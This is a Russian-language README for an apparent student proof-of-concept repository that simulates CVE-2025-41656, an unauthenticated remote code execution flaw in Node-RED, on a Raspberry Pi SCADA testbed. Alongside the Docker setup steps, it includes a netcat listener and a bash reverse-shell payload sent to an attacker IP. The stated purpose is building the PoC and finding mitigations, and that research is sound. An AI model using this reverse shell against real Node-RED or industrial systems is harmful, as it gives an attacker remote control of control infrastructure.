
Этот репозиторий содержит код и файлы, необходимые для тестирования и выполнения PoC для CVE-2025-41656
Данный проект предназначен для моделирования CVE-2025-41656 — уязвимости удаленного выполнения кода без аутентификации для NodeRED. Для моделирования этой уязвимости мы создали компактную SCADA-систему на базе raspberry pi, включающую исполнительный механизм и датчик. Raspberry pi содержит контейнеры NodeRED и OpenPLC, которые общаются друг с другом по протоколу Modbus TCP для управления исполнительным механизмом. Это сценарий proof of concept на Python для реализации атаки CVE-2025-41656. Цель — успешно создать PoC и найти меры по устранению уязвимости для защиты системы.
git clone [email protected]:wallyschag/CVE-2025-41656.git
cd CVE-2025-41656
git clone https://github.com/thiagoralves/OpenPLC_v3.git
rm OpenPLC_v3/Dockerfile && cp Dockerfile_WiringPi OpenPLC_v3/Dockerfile
docker compose up --build -d
docker container ls
docker network inspect csci587-final-project_scadanet
nc -lvnp 1234NODE_RED_IP и NODE_RED_PORT на IP-адрес и порт (1880) вашего сервиса NodeRED в файле cve_2025_41656.py.cve_2025_41656 замените IP-адрес в строке "command": "bash -c 'bash -i >& /dev/tcp/192.168.4.223/1234 0>&1'", на IP-адрес машины, с которой вы запускаете эксплойт.python3 cve_2025_41656.py